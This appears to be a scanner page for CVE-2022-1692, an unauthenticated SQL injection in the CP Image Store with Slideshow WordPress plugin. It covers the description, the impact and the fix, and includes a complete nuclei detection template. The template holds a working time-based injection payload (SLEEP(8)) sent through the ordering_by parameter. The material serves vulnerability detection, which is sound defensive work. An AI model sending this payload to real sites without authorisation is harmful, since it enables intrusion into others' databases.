CP Image Store with Slideshow <= 1.0.67 - SQL Injection

criticalseverity

9.8CVSS score

10.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The CP Image Store with Slideshow WordPress plugin before 1.0.68 does not sanitise and escape the ordering_by query parameter before using it in a SQL statement in pages where the [codepeople-image-store] is embed, allowing unauthenticated users to perform an SQL injection attack.

Impact

Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.

Fix

Update to version 1.0.68 or later.

How to confirm it

Send: GET {{BaseURL}}/?s=codepeople-image-store&post_type=page&feed=rss2
Positive when: contains "<item>"
Send: GET {{RootURL}}{{path}}?ordering_by=post_title%20DESC%2C(SELECT%209143%20FROM%20(SELECT(SLEEP(8)))cFAm)--%20
Positive when: duration >= 8 and contains(body, "cpis_image=") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-1692 -u <target>

The full check

id: CVE-2022-1692

info:
  name: CP Image Store with Slideshow <= 1.0.67 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The CP Image Store with Slideshow WordPress plugin before 1.0.68 does not sanitise and escape the ordering_by query parameter before using it in a SQL statement in pages where the [codepeople-image-store] is embed, allowing unauthenticated users to perform an SQL injection attack.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
  remediation: |
    Update to version 1.0.68 or later.
  reference:
    - https://wpscan.com/vulnerability/83bae80c-f583-4d89-8282-e6384bbc7571/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cp-image-store/cp-image-store-with-slideshow-1067-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1692
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1692
    epss-score: 0.10383
    epss-percentile: 0.95763
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,cp-image-store,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/?s=codepeople-image-store&post_type=page&feed=rss2"

    matchers:
      - type: word
        words:
          - '<item>'
        internal: true

    extractors:
      - type: regex
        name: path
        regex:
          - '<link>https?://[^/]+(/[a-zA-Z0-9][^<]*)</link>'
        group: 1
        internal: true

  - method: GET
    path:
      - "{{RootURL}}{{path}}?ordering_by=post_title%20DESC%2C(SELECT%209143%20FROM%20(SELECT(SLEEP(8)))cFAm)--%20"

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'contains(body, "cpis_image=")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from